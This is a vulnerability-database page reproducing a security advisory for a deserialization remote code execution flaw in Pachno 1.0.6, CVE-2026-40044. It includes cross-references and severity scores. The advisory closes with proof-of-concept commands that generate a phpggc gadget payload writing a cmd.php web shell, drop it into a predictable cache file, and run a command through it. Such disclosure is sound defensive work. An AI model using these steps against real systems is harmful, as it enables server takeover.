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Pachno 1.0.6 FileCache Deserialization Remote Code Execution
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2026-40044 | 13 Apr 202618:11 | – | attackerkb |
 | CVE-2026-40044 | 13 Apr 202619:22 | – | circl |
 | Pachno 代码问题漏洞 | 13 Apr 202600:00 | – | cnnvd |
 | CVE-2026-40044 | 13 Apr 202618:11 | – | cve |
 | CVE-2026-40044 Pachno 1.0.6 FileCache Deserialization Remote Code Execution | 13 Apr 202618:11 | – | cvelist |
 | EUVD-2026-22053 | 13 Apr 202621:30 | – | euvd |
 | CVE-2026-40044 | 13 Apr 202619:16 | – | nvd |
 | PT-2026-32498 | 13 Apr 202600:00 | – | ptsecurity |
 | CVE-2026-40044 | 12 May 202602:27 | – | redhatcve |
 | CVE-2026-40044 Pachno 1.0.6 FileCache Deserialization Remote Code Execution | 13 Apr 202618:11 | – | vulnrichment |
10
<html><body><p>Pachno 1.0.6 FileCache Deserialization Remote Code Execution
Vendor: Daniel André Eikeland
Product web page: https://github.com/pachno/pachno
Affected version: 1.0.6
Summary: Pachno is an open-source collaboration platform (formerly known as The Bug
Genie) designed for team project management, issue tracking, and documentation. It
offers a module-based, customizable environment for software development and team
workflows, distributed under the Mozilla Public License.
Desc: The application uses unserialize() function on the contents of cache files
stored under {PACHNO_PATH}/cache/ during the framework bootstrap sequence, before
any authentication, routing, or controller logic is executed. Cache files are created
with world-writable permissions (chmod 0666) and use deterministic, predictable
filenames derived from a small set of constants. An attacker who can write to the
cache directory can inject a serialized PHP object payload that triggers arbitrary
code execution on the next HTTP request.
Tested on: GNU/Linux
Apache2
PHP/7.4
MySQL/5.7 (MariaDB)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2026-5986
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5986
06.04.2026
--
# ./phpggc SwiftMailer/FW1 /var/www/html/public/cmd.php '' -s > chaka.bin
# sleep 1
...
...
$ cp chaka.bin /var/www/html/cache/_configuration-2142a.cache
$ sleep 17
$ curl "https://127.0.0.1/cmd.php?c=whoami"
www-data
</p></body></html>Data
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12 Apr 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 49.3
CVSS 3.19.8
EPSS0.00484
SSVC